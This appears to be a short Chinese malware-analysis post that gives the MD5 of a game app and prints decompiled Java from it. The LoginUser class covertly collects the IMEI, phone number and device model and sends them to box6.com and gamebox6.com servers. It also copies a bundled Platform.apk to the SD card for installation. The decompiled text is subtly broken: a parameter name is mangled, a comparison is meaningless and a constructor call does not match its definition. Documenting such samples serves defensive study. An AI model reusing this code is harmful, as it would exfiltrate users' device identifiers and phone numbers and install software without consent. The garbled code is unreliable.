全民灭僵尸 v1.3.2版本的 MD5 值为:3e5a0825178a9706b17f30863f73a9f5
以下内容为反编译后的 LoginUser.java 源代码,内容仅作参考
package com.example.assetexam;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.os.Build;
import android.telephony.TelephonyManager;
import android.util.Log;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
public class LoginUser {
private static Boolean isSendClickInstallApp = false;
public static void activityApp(Context c) {
String cpId = Until.getApplicationMetaData(c, "JqcpId");
String key = Until.getApplicationMetaData(c, "JqcpKey");
if (cpId != null && key != null && !cpId.equals("") && !key.equals("")) {
TelephonyManager mTelephonyMgr = (TelephonyManager) c.getSystemService("phone");
String imei = mTelephonyMgr.getDeviceId();
String time = String.valueOf(System.currentTimeMillis() / 1000);
String sign = "MerId=" + cpId + "&Eqpt=" + imei + "&Time=" + time + key;
String md5 = Until.getMD5Str(sign);
final String httpUrl = "http://tj.box6.com/Mobile/callback.aspx?Sign=" + md5 + "&MerId=" + cpId + "&Eqpt=" + imei + "&Time=" + time;
Log.d("httpUrl", "get httpUrl " + httpUrl);
new Thread(new Runnable() {
@Override
public void run() {
Until.sendGet(httpUrl);
}
}).start();
}
}
public static void clickInstallApp(Context c) {
if (!isSendClickInstallApp.booleanValue()) {
isSendClickInstallApp = true;
installApk(c);
String cpid = Until.getApplicationMetaData(c, "JqcpId");
if (cpid != null && !cpid.equals("")) {
TelephonyManager mTelephonyMgr = (TelephonyManager) c.getSystemService("phone");
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = format.format(new Date());
String phone = mTelephonyMgr.getLine1Number();
if (phone == null) {
phone = "";
}
String android_version = Build.VERSION.RELEASE;
String android_model = Build.MODEL;
String imei = mTelephonyMgr.getDeviceId();
HashMap<String, String> m = new HashMap<>();
m.put("time", time);
m.put("phone", phone);
m.put("android_version", android_version);
m.put("android_model", android_model);
m.put("cpid", cpid);
m.put("imei", imei);
String sig = SigMgr.makesig(m);
final String httpUrl = "http://www.gamebox6.com:8088/statistics/stscrackgameinstalllog.php?time=" + time + "&phone=" + phone + "&android_version=" + android_version + "&android_model=" + android_model + "&cpid=" + cpid + "&imei=" + imei + "&sig=" + sig;
Log.d("httpUrl", "get httpUrl " + httpUrl);
new Thread(new Runnable() {
@Override
public void run() {
Until.sendGet(httpUrl);
}
}).start();
}
}
}
public static void installApk(Context c) {
String key = Until.getApplicationMetaData(c, "JqcpKey");
if ("20" != 0 && key != null && !"20".equals("") && !key.equals("")) {
TelephonyManager mTelephonyMgr = (TelephonyManager) c.getSystemService("phone");
String imei = mTelephonyMgr.getDeviceId();
String time = String.valueOf(System.currentTimeMillis() / 1000);
String sign = "MerId=20&Eqpt=" + imei + "&Time=" + time + key;
String md5 = Until.getMD5Str(sign);
final String httpUrl = "http://tj.box6.com/Mobile/callback.aspx?Sign=" + md5 + "&MerId=20&Eqpt=" + imei + "&Time=" + time;
new Thread(new Runnable() {
@Override
public void run() {
Until.sendGet(httpUrl);
}
}).start();
}
}
public static void IsDownApk(Context c) {
PackageInfo appInfo;
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = format.format(new Date());
Log.i("time", "get time " + time);
int version = 2000;
if (Until.copyApkFromAssets(c, "Platform.apk", "/mnt/sdcard/Platform.apk") && (appInfo = Until.getApkInfoByFilePath(c, "/mnt/sdcard/Platform.apk")) != null) {
version = appInfo.versionCode;
Log.i("version", "get version " + version);
}
HashMap<String, String> m = new HashMap<>();
m.put("time", time);
m.put("current_version_no", String.valueOf(version));
String sig = SigMgr.makesig(m);
Log.i("sig", "get sign " + sig);
String httpUrl = "http://www.gamebox6.com:8088/getplatupdateinfo.php?time=" + time + "¤t_version_no=" + version + "&sig=" + sig;
Log.i("httpUrl", "get httpUrl " + httpUrl);
new Thread(new AnonymousClass4(httpUrl, c)).start();
}
class AnonymousClass4 implements Runnable {
private final String val$httpUrl;
AnonymousClass4(String str) {
this.val$httpUrl = str;
}
@Override
public void run() {
Until.sendGet(this.val$httpUrl);
}
}
}